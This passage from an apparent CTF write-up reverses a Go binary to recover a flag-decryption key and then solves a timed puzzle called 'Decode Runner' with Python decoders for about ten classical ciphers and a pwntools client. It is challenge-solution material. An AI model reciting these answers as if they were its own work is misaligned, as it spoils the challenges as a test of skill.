int)\u0026#34;mTfYS2+3UoKAO+gueELVdxNc6QDBwKW1t8uN5Dx/HIGvWb7kMtmLoyt6SB0EIw39\u0026#34;, 64, (unsigned int)\u0026#34;11466b4b07a438fdba619b86088353976073d790344cbf4dae99512028808ecf\u0026#34;, 64, v83, v84, v125, v136, v143, v149, v153, v154); Looking at this function, there are some interesting stuffs:\n__int64 __golang github_com_Lexterl33t_mimicompiler_vm_NewVM( __int64 a1, __int64 a2, __int64 a3, __int64 sus_base64, int _64, __int64 sus_hex, __int64 _64__, int a8, int a9) { // variables ... v30 = encoding_base64__ptr_Encoding_DecodeString( qword_5A57B8, sus_base64, _64, sus_base64, _64, sus_hex, _64__, a8, a9); // ... if ( dword_5C5970 ) { result = runtime_gcWriteBarrier4(); v23 = a1; *v27 = a1; v24 = v31; v27[1] = v31; base64_decrypted = v30; v27[2] = v30; sus_hex_ = sus_hex; v27[3] = sus_hex; } else { v23 = a1; v24 = v31; base64_decrypted = v30; sus_hex_ = sus_hex; } *(_QWORD *)(result + 24) = v23; *(_QWORD *)(result + 48) = v24; *(_QWORD *)(result + 64) = sus_base64; *(_QWORD *)(result + 72) = v28; *(_QWORD *)(result + 56) = base64_decrypted; *(_QWORD *)(result + 88) = _64__; *(_QWORD *)(result + 80) = sus_hex_; return result; } We can see that base64 string is decrypted and stored in result[7] (result + 56). Looking back at github_com_Lexterl33t_mimicompiler_vm_decryptFlag, we can see that this is used as the first argument. The hex string isn\u0026rsquo;t used in this function tho, so maybe it\u0026rsquo;s AES ECB.\nWith the informations that we have, let\u0026rsquo;s try to decrypt the flag! First, we need to find x and y. We can write a quick script to brute-force the solution:\nfrom hashlib import sha256 for x in range(314159+1): y = 314159 - x if (x * x + y * y * y - x * y) % 1048573 == 273262: key = f\u0026#34;{x}:{y}\u0026#34; hash = sha256(key.encode()).hexdigest() print(key) 123456:190703 b9b6c6cd17cdb9bc1ff86179883e65116555b6766df2498281cd331366eae5d3 206712:107447 82bd2f75c8fb42d505bbd5b97b0d110f67f493ff74b16d247abbf34f01276459 We get two keys. Trying each key (the first 16 bytes), we can see that the first one gives the flag:\nSuper secure network # I actually did this challenge with my friends jitensha69 and severus. You can see severus\u0026rsquo;s writeup for this challenge here\nMisc # Decode Runner # Welcome to Decode Runner ! You will receive 100 encoded words. Your goal is to decode them and send back the decoded word. You have 3 seconds to respond to each word. Good luck!\nAuthor : Offpath\nFlag format: PWNME{.........................}\nConnect : nc --ssl [host] 443\nI did this challenge with my friend KangTheConq. There are a lot of ciphers used here (about 10 ciphers). Let\u0026rsquo;s walk through each of them:\nLatin Gibberish Cipher: hint: what is this charabia ??? cipher: siruosus I asked GPT and it said that charabia is gibberish in French. Googling gibberish cipher returns Latin Gibberish Cipher. It basically reverses the word and add some suffix.\nTo decrypt this, just remove the last two letters and reverse the string:\ndef latin_gibberish(s): data = s[:-2] return data[::-1] Wabun code (Japanese Morse): hint: It looks like Morse code, but ... cipher: f .- g At first, it seems like this is just Morse code. But when submitting the decoded word, the server saids wrong answer.\nSo what kind of Morse code is this? Turns out, there is another Morse code type named Wabun code. It encode Japanese words using Morse code. I wrote a dirty script to decrypt this (This might not always return the correct result, but it works lol):\nShow script def wabi_sabi(ciphertext): qod6 = { # Row 1 \u0026#34;A\u0026#34;: \u0026#34;--.--\u0026#34;, \u0026#34;I\u0026#34;: \u0026#34;.-\u0026#34;, \u0026#34;U\u0026#34;: \u0026#34;..-\u0026#34;, \u0026#34;E\u0026#34;: \u0026#34;-.---\u0026#34;, \u0026#34;O\u0026#34;: \u0026#34;.-...\u0026#34;, \u0026#34;N\u0026#34;: \u0026#34;.-.-.\u0026#34;, # Row 2 \u0026#34;KA\u0026#34;: \u0026#34;.-..\u0026#34;, \u0026#34;KI\u0026#34;: \u0026#34;-.-..\u0026#34;, \u0026#34;KU\u0026#34;: \u0026#34;...-\u0026#34;, \u0026#34;KE\u0026#34;: \u0026#34;-.--\u0026#34;, \u0026#34;KO\u0026#34;: \u0026#34;----\u0026#34;, # Row 3 \u0026#34;SA\u0026#34;: \u0026#34;-.-.-\u0026#34;, \u0026#34;SHI\u0026#34;: \u0026#34;--.-.\u0026#34;, \u0026#34;SU\u0026#34;: \u0026#34;---.-\u0026#34;, \u0026#34;SE\u0026#34;: \u0026#34;.---.\u0026#34;, \u0026#34;SO\u0026#34;: \u0026#34;---.\u0026#34;, # # Row 4 # \u0026#34;ZA\u0026#34;: \u0026#34;-.-.\u0026#34;, # \u0026#34;ZI\u0026#34;: \u0026#34;-.--\u0026#34;, # \u0026#34;ZU\u0026#34;: \u0026#34;..--\u0026#34;, # \u0026#34;ZE\u0026#34;: \u0026#34;.--.\u0026#34;, # \u0026#34;ZO\u0026#34;: \u0026#34;---.\u0026#34;, # Row 5 \u0026#34;TA\u0026#34;: \u0026#34;-.\u0026#34;, \u0026#34;CHI\u0026#34;: \u0026#34;..-.\u0026#34;, \u0026#34;TSU\u0026#34;: \u0026#34;.--.\u0026#34;, \u0026#34;TE\u0026#34;: \u0026#34;.-.--\u0026#34;, \u0026#34;TO\u0026#34;: \u0026#34;..-..\u0026#34;, # # Row 6 # \u0026#34;DA\u0026#34;: \u0026#34;-.\u0026#34;, # \u0026#34;DI\u0026#34;: \u0026#34;----\u0026#34;, # \u0026#34;DU\u0026#34;: \u0026#34;--.-\u0026#34;, # \u0026#34;DE\u0026#34;: \u0026#34;-..-\u0026#34;, # \u0026#34;DO\u0026#34;: \u0026#34;--..\u0026#34;, # Row 7 \u0026#34;NA\u0026#34;: \u0026#34;.-.\u0026#34;, \u0026#34;NI\u0026#34;: \u0026#34;-.-.\u0026#34;, \u0026#34;NU\u0026#34;: \u0026#34;....\u0026#34;, \u0026#34;NE\u0026#34;: \u0026#34;--.-\u0026#34;, \u0026#34;NO\u0026#34;: \u0026#34;..--\u0026#34;, # Row 8 \u0026#34;HA\u0026#34;: \u0026#34;-...\u0026#34;, \u0026#34;HI\u0026#34;: \u0026#34;--..-\u0026#34;, \u0026#34;FU\u0026#34;: \u0026#34;--..\u0026#34;, \u0026#34;HE\u0026#34;: \u0026#34;.\u0026#34;, \u0026#34;HO\u0026#34;: \u0026#34;-..\u0026#34;, # # Row 9 # \u0026#34;BA\u0026#34;: \u0026#34;.-..-\u0026#34;, # \u0026#34;BI\u0026#34;: \u0026#34;.-...\u0026#34;, # \u0026#34;BU\u0026#34;: \u0026#34;..-..\u0026#34;, # \u0026#34;BE\u0026#34;: \u0026#34;....\u0026#34;, # \u0026#34;BO\u0026#34;: \u0026#34;.--..\u0026#34;, # # Row 10 # \u0026#34;PA\u0026#34;: \u0026#34;.-..-\u0026#34;, # \u0026#34;PI\u0026#34;: \u0026#34;.-...\u0026#34;, # \u0026#34;PU\u0026#34;: \u0026#34;..-..\u0026#34;, # \u0026#34;PE\u0026#34;: \u0026#34;....\u0026#34;, # \u0026#34;PO\u0026#34;: \u0026#34;.--..\u0026#34;, # Row 11 \u0026#34;MA\u0026#34;: \u0026#34;-..-\u0026#34;, \u0026#34;MI\u0026#34;: \u0026#34;..-.-\u0026#34;, \u0026#34;MU\u0026#34;: \u0026#34;-\u0026#34;, \u0026#34;ME\u0026#34;: \u0026#34;-...-\u0026#34;, \u0026#34;MO\u0026#34;: \u0026#34;-..-.\u0026#34;, # Row 12 \u0026#34;YA\u0026#34;: \u0026#34;.--\u0026#34;, \u0026#34;YU\u0026#34;: \u0026#34;-..--\u0026#34;, \u0026#34;YO\u0026#34;: \u0026#34;--\u0026#34;, \u0026#34;RA\u0026#34;: \u0026#34;...\u0026#34;, \u0026#34;RI\u0026#34;: \u0026#34;--.\u0026#34;, \u0026#34;RU\u0026#34;: \u0026#34;-.--.\u0026#34;, \u0026#34;RE\u0026#34;: \u0026#34;---\u0026#34;, \u0026#34;RO\u0026#34;: \u0026#34;.-.-\u0026#34;, \u0026#34;WA\u0026#34;: \u0026#34;-.-\u0026#34;, \u0026#34;WI\u0026#34;: \u0026#34;.-..-\u0026#34;, \u0026#34;WE\u0026#34;: \u0026#34;.--..\u0026#34;, \u0026#34;WO\u0026#34;: \u0026#34;.---\u0026#34;, } DICT = {} for key, value in qod6.items(): DICT[value] = key ciphertext = ciphertext.split() ans = \u0026#39;\u0026#39; for word in ciphertext: if \u0026#39;.\u0026#39; in word or \u0026#39;-\u0026#39; in word: ans += DICT[word] else: ans += word return ans.lower() First Letter: cipher: India Golf Uniform Alfa November Oscar Delta Oscar November There isn\u0026rsquo;t a hint for this one. We can solve this by taking the first letter of each word to form a new word:\ndef first_letter(s): s = s.split() s = [i[0] for i in s] s = \u0026#34;\u0026#34;.join(s) return s.lower() Chord cipher: hint: Hendrix would have had it... cipher: x24442 x02220 xx0232 320003 022100 xx0232 A quick Google shows that Jimi Hendrix is an American guitarist and songwriter. Moreover, the cipher looks like guitar chord, so this might be Chord cipher:\ndef chord_cipher(ciphertext): ciphertext = ciphertext.split() dict = {\u0026#34;x02220\u0026#34;: \u0026#39;a\u0026#39;, \u0026#34;224442\u0026#34;:\u0026#39;b\u0026#39;, \u0026#39;032010\u0026#39;:\u0026#39;c\u0026#39;, \u0026#39;xx0232\u0026#39;:\u0026#39;d\u0026#39;, \u0026#39;022100\u0026#39;:\u0026#39;e\u0026#39;, \u0026#39;133211\u0026#39;:\u0026#39;f\u0026#39;, \u0026#39;320003\u0026#39;:\u0026#39;g\u0026#39;, \u0026#39;x24442\u0026#39;:\u0026#39;b\u0026#39;, \u0026#39;x32010\u0026#39;:\u0026#39;c\u0026#39;} ans = \u0026#39;\u0026#39; for i in ciphertext: ans += dict.get(i, \u0026#39;?\u0026#39;) return ans Baudot Code hint: He can\u0026#39;t imagine finding himself in CTF 150 years later... cipher: 01111 11000 00011 10010 00011 This looks like Morse code, but each \u0026ldquo;word\u0026rdquo; is only 5-digit long. A quick ChatGPT gives Baudot Code:\nbaudot_table = { \u0026#34;00000\u0026#34;: \u0026#34;null\u0026#34;, \u0026#34;00100\u0026#34;: \u0026#34; \u0026#34;, \u0026#34;10111\u0026#34;: \u0026#34;Q\u0026#34;, \u0026#34;10011\u0026#34;: \u0026#34;W\u0026#34;, \u0026#34;00001\u0026#34;: \u0026#34;E\u0026#34;, \u0026#34;01010\u0026#34;: \u0026#34;R\u0026#34;, \u0026#34;10000\u0026#34;: \u0026#34;T\u0026#34;, \u0026#34;10101\u0026#34;: \u0026#34;Y\u0026#34;, \u0026#34;00111\u0026#34;: \u0026#34;U\u0026#34;, \u0026#34;00110\u0026#34;: \u0026#34;I\u0026#34;, \u0026#34;11000\u0026#34;: \u0026#34;O\u0026#34;, \u0026#34;10110\u0026#34;: \u0026#34;P\u0026#34;, \u0026#34;00011\u0026#34;: \u0026#34;A\u0026#34;, \u0026#34;00101\u0026#34;: \u0026#34;S\u0026#34;, \u0026#34;01001\u0026#34;: \u0026#34;D\u0026#34;, \u0026#34;01101\u0026#34;: \u0026#34;F\u0026#34;, \u0026#34;11010\u0026#34;: \u0026#34;G\u0026#34;, \u0026#34;10100\u0026#34;: \u0026#34;H\u0026#34;, \u0026#34;01011\u0026#34;: \u0026#34;J\u0026#34;, \u0026#34;01111\u0026#34;: \u0026#34;K\u0026#34;, \u0026#34;10010\u0026#34;: \u0026#34;L\u0026#34;, \u0026#34;10001\u0026#34;: \u0026#34;Z\u0026#34;, \u0026#34;11101\u0026#34;: \u0026#34;X\u0026#34;, \u0026#34;01110\u0026#34;: \u0026#34;C\u0026#34;, \u0026#34;11110\u0026#34;: \u0026#34;V\u0026#34;, \u0026#34;11001\u0026#34;: \u0026#34;B\u0026#34;, \u0026#34;01100\u0026#34;: \u0026#34;N\u0026#34;, \u0026#34;11100\u0026#34;: \u0026#34;M\u0026#34;, \u0026#34;01000\u0026#34;: \u0026#34;CR\u0026#34;, \u0026#34;00010\u0026#34;: \u0026#34;LF\u0026#34;, \u0026#34;11011\u0026#34;: \u0026#34;Switch to Digits\u0026#34; } def baudot_decode(ciphertext): bits = ciphertext.split() decoded_text = \u0026#34;\u0026#34;.join(baudot_table.get(bit, \u0026#34;?\u0026#34;) for bit in bits) return decoded_text.lower() Trimethius Cipher: hint: Born in 1462 in Germany... cipher: rmxksmc Googling the hint gives Johannes Trithemius. Googling the cipher gives Trimethius Cipher.\nWe can use Try all shifts (bruteforce) on dcode and we\u0026rsquo;ll see that offset +3 gives meaningful words. I wrote a script for this:\ndef trimethius_decode(ciphertext): ALPHABET = \u0026#34;ABCDEFGHIJKLMNOPQRSTUVWXYZ\u0026#34;.lower() offset = 3 ans = \u0026#34;\u0026#34; for i in range(len(ciphertext)): idx = ALPHABET.index(ciphertext[i]) ans += ALPHABET[(idx - offset + len(ALPHABET)) % len(ALPHABET)] offset += 1 return ans Chuck Norris Unary Code hint: He can snap his toes, and has already counted to infinity twice ... cipher: 0 0000 00 000 0 0000 00 00 0 000 00 0 0 00 00 00 0 00 00 0 0 000000 00 000 0 0000 00 0 0 0000000 00 0000 0 00 00 00 0 0 00 0 0 0 My friend KangTheConq found out that this is Chuck Norris Unary Code, and he writes the decoding script too:\ndef decode_chuck_norris(unary_code): parts = unary_code.split() binary_string = \u0026#34;\u0026#34; for i in range(0, len(parts), 2): bit = \u0026#39;1\u0026#39; if parts[i] == \u0026#39;0\u0026#39; else \u0026#39;0\u0026#39; binary_string += bit * len(parts[i + 1]) decoded_text = \u0026#34;\u0026#34; for i in range(0, len(binary_string), 7): decoded_text += chr(int(binary_string[i:i+7], 2)) return decoded_text Shankar Speech Defect hint: Did you realy see slumdog millionaire ? cipher: PJWX Googling slumdog millionaire cipher gives Shankar Speech Defect. It\u0026rsquo;s just another substitution cipher:\ndef slumdog(ciphertext): cipheralphabet = \u0026#39;XWYAZBCDQEFGHIKLMNOPJRSTUV\u0026#39; plainalphabet = string.ascii_uppercase plaintext = \u0026#39;\u0026#39; for c in ciphertext: if c == \u0026#39; \u0026#39;: p = \u0026#39; \u0026#39; else: p = plainalphabet[cipheralphabet.index(c)] plaintext += p return plaintext.lower() Morbit Cipher: hint: A code based on pairs of dots and dashes. Think of a mix of Morse code and numbers... (AZERTYUIO) cipher: 2557122917522 KangTheConq clutched again and found out that this is Morbit Cipher:\nMORSE_CODE_DICT = {\u0026#39;..-\u0026#39;: \u0026#39;U\u0026#39;, \u0026#39;--..--\u0026#39;: \u0026#39;, \u0026#39;, \u0026#39;....-\u0026#39;: \u0026#39;4\u0026#39;, \u0026#39;.....\u0026#39;: \u0026#39;5\u0026#39;, \u0026#39;-...\u0026#39;: \u0026#39;B\u0026#39;, \u0026#39;-..-\u0026#39;: \u0026#39;X\u0026#39;, \u0026#39;.-.\u0026#39;: \u0026#39;R\u0026#39;, \u0026#39;--.-\u0026#39;: \u0026#39;Q\u0026#39;, \u0026#39;--..\u0026#39;: \u0026#39;Z\u0026#39;, \u0026#39;.--\u0026#39;: \u0026#39;W\u0026#39;, \u0026#39;-..-.\u0026#39;: \u0026#39;/\u0026#39;, \u0026#39;..---\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;.-\u0026#39;: \u0026#39;A\u0026#39;, \u0026#39;..\u0026#39;: \u0026#39;I\u0026#39;, \u0026#39;-.-.\u0026#39;: \u0026#39;C\u0026#39;, \u0026#39;..-.\u0026#39;: \u0026#39;F\u0026#39;, \u0026#39;---\u0026#39;: \u0026#39;O\u0026#39;, \u0026#39;-.--\u0026#39;: \u0026#39;Y\u0026#39;, \u0026#39;-\u0026#39;: \u0026#39;T\u0026#39;, \u0026#39;.\u0026#39;: \u0026#39;E\u0026#39;, \u0026#39;.-..\u0026#39;: \u0026#39;L\u0026#39;, \u0026#39;...\u0026#39;: \u0026#39;S\u0026#39;, \u0026#39;-.--.-\u0026#39;: \u0026#39;)\u0026#39;, \u0026#39;..--..\u0026#39;: \u0026#39;?\u0026#39;, \u0026#39;.----\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;-----\u0026#39;: \u0026#39;0\u0026#39;, \u0026#39;-.-\u0026#39;: \u0026#39;K\u0026#39;, \u0026#39;-..\u0026#39;: \u0026#39;D\u0026#39;, \u0026#39;----.\u0026#39;: \u0026#39;9\u0026#39;, \u0026#39;-....\u0026#39;: \u0026#39;6\u0026#39;, \u0026#39;.---\u0026#39;: \u0026#39;J\u0026#39;, \u0026#39;.--.\u0026#39;: \u0026#39;P\u0026#39;, \u0026#39;.-.-.-\u0026#39;: \u0026#39;.\u0026#39;, \u0026#39;-.--.\u0026#39;: \u0026#39;(\u0026#39;, \u0026#39;--\u0026#39;: \u0026#39;M\u0026#39;, \u0026#39;-.\u0026#39;: \u0026#39;N\u0026#39;, \u0026#39;....\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;---..\u0026#39;: \u0026#39;8\u0026#39;, \u0026#39;...-\u0026#39;: \u0026#39;V\u0026#39;, \u0026#39;--...\u0026#39;: \u0026#39;7\u0026#39;, \u0026#39;--.\u0026#39;: \u0026#39;G\u0026#39;, \u0026#39;...--\u0026#39;: \u0026#39;3\u0026#39;, \u0026#39;-....-\u0026#39;: \u0026#39;-\u0026#39;} MORBIT = [\u0026#39;..\u0026#39;, \u0026#39;. \u0026#39;, \u0026#39; -\u0026#39;, \u0026#39; \u0026#39;, \u0026#39;-.\u0026#39;, \u0026#39;--\u0026#39;, \u0026#39; .\u0026#39;, \u0026#39;- \u0026#39;, \u0026#39;.-\u0026#39;] KEY = \u0026#34;AZERTYUIO\u0026#34; # Given key # Map digits to Morbit symbols using the key MORBIT_CODE_DICT = dict(zip(\u0026#34;123456789\u0026#34;, MORBIT)) def morse(ciphertxt): \u0026#34;\u0026#34;\u0026#34; Decodes a Morse code string to plaintext. \u0026#34;\u0026#34;\u0026#34; plaintxt = \u0026#39;\u0026#39; for word in ciphertxt.strip().split(\u0026#34; \u0026#34;): for c in word.strip().split(\u0026#34; \u0026#34;): if c in MORSE_CODE_DICT: plaintxt += MORSE_CODE_DICT[c] plaintxt += \u0026#39; \u0026#39; return plaintxt.strip() def morbit(ciphertxt): \u0026#34;\u0026#34;\u0026#34; Decodes a Morbit cipher text into Morse code, then to plaintext. \u0026#34;\u0026#34;\u0026#34; morsetxt = \u0026#34;\u0026#34;.join(MORBIT_CODE_DICT[c] for c in ciphertxt if c in MORBIT_CODE_DICT) return morse(morsetxt).lower() Combining all of this, we get this final script:\nShow script from pwn import * import string HOST = \u0026#39;decoderunner-6bf56818dcc9ea04.deploy.phreaks.fr\u0026#39; PORT = 443 p = remote(HOST, PORT, ssl=True) # p = remote(HOST, PORT) def latin_gibberish(s): data = s[:-2] return data[::-1] def decode_1337(s): leet_dict = { \u0026#39;4\u0026#39;: \u0026#39;A\u0026#39;, \u0026#39;/\\\\\u0026#39;: \u0026#39;A\u0026#39;, \u0026#39;@\u0026#39;: \u0026#39;A\u0026#39;, \u0026#39;/-\\\\\u0026#39;: \u0026#39;A\u0026#39;, \u0026#39;8\u0026#39;: \u0026#39;B\u0026#39;, \u0026#39;|3\u0026#39;: \u0026#39;B\u0026#39;, \u0026#39;13\u0026#39;: \u0026#39;B\u0026#39;, \u0026#39;(\u0026#39;: \u0026#39;C\u0026#39;, \u0026#39;\u0026lt;\u0026#39;: \u0026#39;C\u0026#39;, \u0026#39;[\u0026#39;: \u0026#39;C\u0026#39;, \u0026#39;©\u0026#39;: \u0026#39;C\u0026#39;, \u0026#39;[)\u0026#39;: \u0026#39;D\u0026#39;, \u0026#39;|\u0026gt;\u0026#39;: \u0026#39;D\u0026#39;, \u0026#39;|)\u0026#39;: \u0026#39;D\u0026#39;, \u0026#39;3\u0026#39;: \u0026#39;E\u0026#39;, \u0026#39;€\u0026#39;: \u0026#39;E\u0026#39;, \u0026#39;[-\u0026#39;: \u0026#39;E\u0026#39;, \u0026#39;|=\u0026#39;: \u0026#39;F\u0026#39;, \u0026#39;/=\u0026#39;: \u0026#39;F\u0026#39;, \u0026#39;6\u0026#39;: \u0026#39;G\u0026#39;, \u0026#39;(_+\u0026#39;: \u0026#39;G\u0026#39;, \u0026#39;#\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;/-/\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;[-]\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;]-[\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;)-(\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;(-)\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;|-|\u0026#39;: \u0026#39;H\u0026#39;, \u0026#39;1\u0026#39;: \u0026#39;I\u0026#39;, \u0026#34;1\u0026#39;\u0026#34;: \u0026#39;I\u0026#39;, \u0026#39;!\u0026#39;: \u0026#39;I\u0026#39;, \u0026#39;|\u0026#39;: \u0026#39;I\u0026#39;, \u0026#39;_|\u0026#39;: \u0026#39;J\u0026#39;, \u0026#39;_/\u0026#39;: \u0026#39;J\u0026#39;, \u0026#39;|\u0026lt;\u0026#39;: \u0026#39;K\u0026#39;, \u0026#39;|{\u0026#39;: \u0026#39;K\u0026#39;, \u0026#39;|_\u0026#39;: \u0026#39;L\u0026#39;, \u0026#39;[\u0026#39;: \u0026#39;L\u0026#39;, \u0026#39;£\u0026#39;: \u0026#39;L\u0026#39;, \u0026#39;1_\u0026#39;: \u0026#39;L\u0026#39;, \u0026#39;|V|\u0026#39;: \u0026#39;M\u0026#39;, \u0026#39;|\\/|\u0026#39;: \u0026#39;M\u0026#39;, \u0026#39;/\\/\\\\\u0026#39;: \u0026#39;M\u0026#39;, \u0026#39;/V\\\\\u0026#39;: \u0026#39;M\u0026#39;, \u0026#39;|\\|\u0026#39;: \u0026#39;N\u0026#39;, \u0026#39;/\\/\u0026#39;: \u0026#39;N\u0026#39;, \u0026#39;[\\]\u0026#39;: \u0026#39;N\u0026#39;, \u0026#39;/V\u0026#39;: \u0026#39;N\u0026#39;, \u0026#39;[]\u0026#39;: \u0026#39;O\u0026#39;, \u0026#39;0\u0026#39;: \u0026#39;O\u0026#39;, \u0026#39;()\u0026#39;: \u0026#39;O\u0026#39;, \u0026#39;\u0026lt;\u0026gt;\u0026#39;: \u0026#39;O\u0026#39;, \u0026#39;|*\u0026#39;: \u0026#39;P\u0026#39;, \u0026#39;|o\u0026#39;: \u0026#39;P\u0026#39;, \u0026#39;|°\u0026#39;: \u0026#39;P\u0026#39;, \u0026#39;/*\u0026#39;: \u0026#39;P\u0026#39;, \u0026#39;()_\u0026#39;: \u0026#39;Q\u0026#39;, \u0026#39;0_\u0026#39;: \u0026#39;Q\u0026#39;, \u0026#39;°|\u0026#39;: \u0026#39;Q\u0026#39;, \u0026#39;(_,)\u0026#39;: \u0026#39;Q\u0026#39;, \u0026#39;|?\u0026#39;: \u0026#39;R\u0026#39;, \u0026#39;®\u0026#39;: \u0026#39;R\u0026#39;, \u0026#39;|2\u0026#39;: \u0026#39;R\u0026#39;, \u0026#39;5\u0026#39;: \u0026#39;S\u0026#39;, \u0026#39;$\u0026#39;: \u0026#39;S\u0026#39;, \u0026#39;§\u0026#39;: \u0026#39;S\u0026#39;, \u0026#39;7\u0026#39;: \u0026#39;T\u0026#39;, \u0026#39;†\u0026#39;: \u0026#39;T\u0026#39;, \u0026#39;¯|¯\u0026#39;: \u0026#39;T\u0026#39;, \u0026#39;(_)\u0026#39;: \u0026#39;U\u0026#39;, \u0026#39;|_|\u0026#39;: \u0026#39;U\u0026#39;, \u0026#39;µ\u0026#39;: \u0026#39;U\u0026#39;, \u0026#39;\\/\u0026#39;: \u0026#39;V\u0026#39;, \u0026#39;|/\u0026#39;: \u0026#39;V\u0026#39;, \u0026#39;\\/\\/\u0026#39;: \u0026#39;W\u0026#39;, \u0026#39;vv\u0026#39;: \u0026#39;W\u0026#39;, \u0026#39;\\^/\u0026#39;: \u0026#39;W\u0026#39;, \u0026#39;\\|/\u0026#39;: \u0026#39;W\u0026#39;, \u0026#39;\\_|_/\u0026#39;: \u0026#39;W\u0026#39;, \u0026#39;\u0026gt;\u0026lt;\u0026#39;: \u0026#39;X\u0026#39;, \u0026#39;)(\u0026#39;: \u0026#39;X\u0026#39;, \u0026#39;`/\u0026#39;: \u0026#39;Y\u0026#39;, \u0026#39;¥\u0026#39;: \u0026#39;Y\u0026#39;, \u0026#39;\\/\u0026#39;: \u0026#39;Y\u0026#39;, \u0026#34;7_\u0026#39;\u0026#34;: \u0026#39;Z\u0026#39;, \u0026#39;\u0026gt;_\u0026#39;: \u0026#39;Z\u0026#39;, \u0026#39;≥\u0026#39;: \u0026#39;Z\u0026#39; } result = s for leet, char in sorted(leet_dict.items(), key=lambda x: -len(x[0])): result = result.replace(leet, char) return result.lower() def slumdog(ciphertext): cipheralphabet = \u0026#39;XWYAZBCDQEFGHIKLMNOPJRSTUV\u0026#39; plainalphabet = string.ascii_uppercase plaintext = \u0026#39;\u0026#39; for c in ciphertext: if c == \u0026#39; \u0026#39;: p = \u0026#39; \u0026#39; else: p = plainalphabet[cipheralphabet.index(c)] plaintext += p return plaintext.lower() def weird_morse(s): MORSE_CODE_DICT = { \u0026#39;A\u0026#39;:\u0026#39;.-\u0026#39;, \u0026#39;B\u0026#39;:\u0026#39;-...\u0026#39;, \u0026#39;C\u0026#39;:\u0026#39;-.-.\u0026#39;, \u0026#39;D\u0026#39;:\u0026#39;-..\u0026#39;, \u0026#39;E\u0026#39;:\u0026#39;.\u0026#39;, \u0026#39;F\u0026#39;:\u0026#39;..-.\u0026#39;, \u0026#39;G\u0026#39;:\u0026#39;--.\u0026#39;, \u0026#39;H\u0026#39;:\u0026#39;....\u0026#39;, \u0026#39;I\u0026#39;:\u0026#39;..\u0026#39;, \u0026#39;J\u0026#39;:\u0026#39;.---\u0026#39;, \u0026#39;K\u0026#39;:\u0026#39;-.-\u0026#39;, \u0026#39;L\u0026#39;:\u0026#39;.-..\u0026#39;, \u0026#39;M\u0026#39;:\u0026#39;--\u0026#39;, \u0026#39;N\u0026#39;:\u0026#39;-.\u0026#39;, \u0026#39;O\u0026#39;:\u0026#39;---\u0026#39;, \u0026#39;P\u0026#39;:\u0026#39;.--.\u0026#39;, \u0026#39;Q\u0026#39;:\u0026#39;--.-\u0026#39;, \u0026#39;R\u0026#39;:\u0026#39;.-.\u0026#39;, \u0026#39;S\u0026#39;:\u0026#39;...\u0026#39;, \u0026#39;T\u0026#39;:\u0026#39;-\u0026#39;, \u0026#39;U\u0026#39;:\u0026#39;..-\u0026#39;, \u0026#39;V\u0026#39;:\u0026#39;...-\u0026#39;, \u0026#39;W\u0026#39;:\u0026#39;.--\u0026#39;, \u0026#39;X\u0026#39;:\u0026#39;-..-\u0026#39;, \u0026#39;Y\u0026#39;:\u0026#39;-.--\u0026#39;, \u0026#39;Z\u0026#39;:\u0026#39;--..\u0026#39;, \u0026#39;1\u0026#39;:\u0026#39;.----\u0026#39;, \u0026#39;2\u0026#39;:\u0026#39;..---\u0026#39;, \u0026#39;3\u0026#39;:\u0026#39;...--\u0026#39;, \u0026#39;4\u0026#39;:\u0026#39;....-\u0026#39;, \u0026#39;5\u0026#39;:\u0026#39;.....\u0026#39;, \u0026#39;6\u0026#39;:\u0026#39;-....\u0026#39;, \u0026#39;7\u0026#39;:\u0026#39;--...\u0026#39;, \u0026#39;8\u0026#39;:\u0026#39;---..\u0026#39;, \u0026#39;9\u0026#39;:\u0026#39;----.\u0026#39;, \u0026#39;0\u0026#39;:\u0026#39;-----\u0026#39;, \u0026#39;, \u0026#39;:\u0026#39;--..--\u0026#39;, \u0026#39;.\u0026#39;:\u0026#39;.-.-.-\u0026#39;, \u0026#39;?\u0026#39;:\u0026#39;..--..\u0026#39;, \u0026#39;/\u0026#39;:\u0026#39;-..-.\u0026#39;, \u0026#39;-\u0026#39;:\u0026#39;-....-\u0026#39;, \u0026#39;(\u0026#39;:\u0026#39;-.--.\u0026#39;, \u0026#39;)\u0026#39;:\u0026#39;-.--.-\u0026#39;} MORSE_CODE_DICT_DECODE = {} for key, value in MORSE_CODE_DICT.items(): MORSE_CODE_DICT_DECODE[value] = key ans = \u0026#34;\u0026#34; s = s.split() for c in s: if \u0026#34;-\u0026#34; in c or \u0026#34;.\u0026#34; in c: c = c.replace(\u0026#34;-\u0026#34;, \u0026#39;#\u0026#39;).replace(\u0026#34;.\u0026#34;, \u0026#39;-\u0026#39;).replace(\u0026#34;#\u0026#34;, \u0026#39;.\u0026#39;) ans += MORSE_CODE_DICT_DECODE[c] else: ans += c return ans def first_letter(s): s = s.split() s = [i[0] for i in s] s = \u0026#34;\u0026#34;.join(s) return s.lower() def decode_chuck_norris(unary_code): parts = unary_code.split() binary_string = \u0026#34;\u0026#34; for i in range(0, len(parts), 2): bit = \u0026#39;1\u0026#39; if parts[i] == \u0026#39;0\u0026#39; else \u0026#39;0\u0026#39; binary_string += bit * len(parts[i + 1]) decoded_text = \u0026#34;\u0026#34; for i in range(0, len(binary_string), 7): decoded_text += chr(int(binary_string[i:i+7], 2)) return decoded_text MORSE_CODE_DICT = {\u0026#39;..-\u0026#39;: \u0026#39;U\u0026#39;, \u0026#39;--..--\u0026#39;: \u0026#39;, \u0026#39;, \u0026#39;....-\u0026#39;: \u0026#39;4\u0026#39;, \u0026#39;.....\u0026#39;: \u0026#39;5\u0026#39;, \u0026#39;-...\u0026#39;: \u0026#39;B\u0026#39;, \u0026#39;-..-\u0026#39;: \u0026#39;X\u0026#39;, \u0026#39;.-.\u0026#39;: \u0026#39;R\u0026#39;, \u0026#39;--.-\u0026#39;: \u0026#39;Q\u0026#39;, \u0026#39;--..\u0026#39;: \u0026#39;Z\u0026#39;, \u0026#39;.--\u0026#39;: \u0026#39;W\u0026#39;, \u0026#39;-..-.\u0026#39;: \u0026#39;/\u0026#39;, \u0026#39;..---\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;.-\u0026#39;: 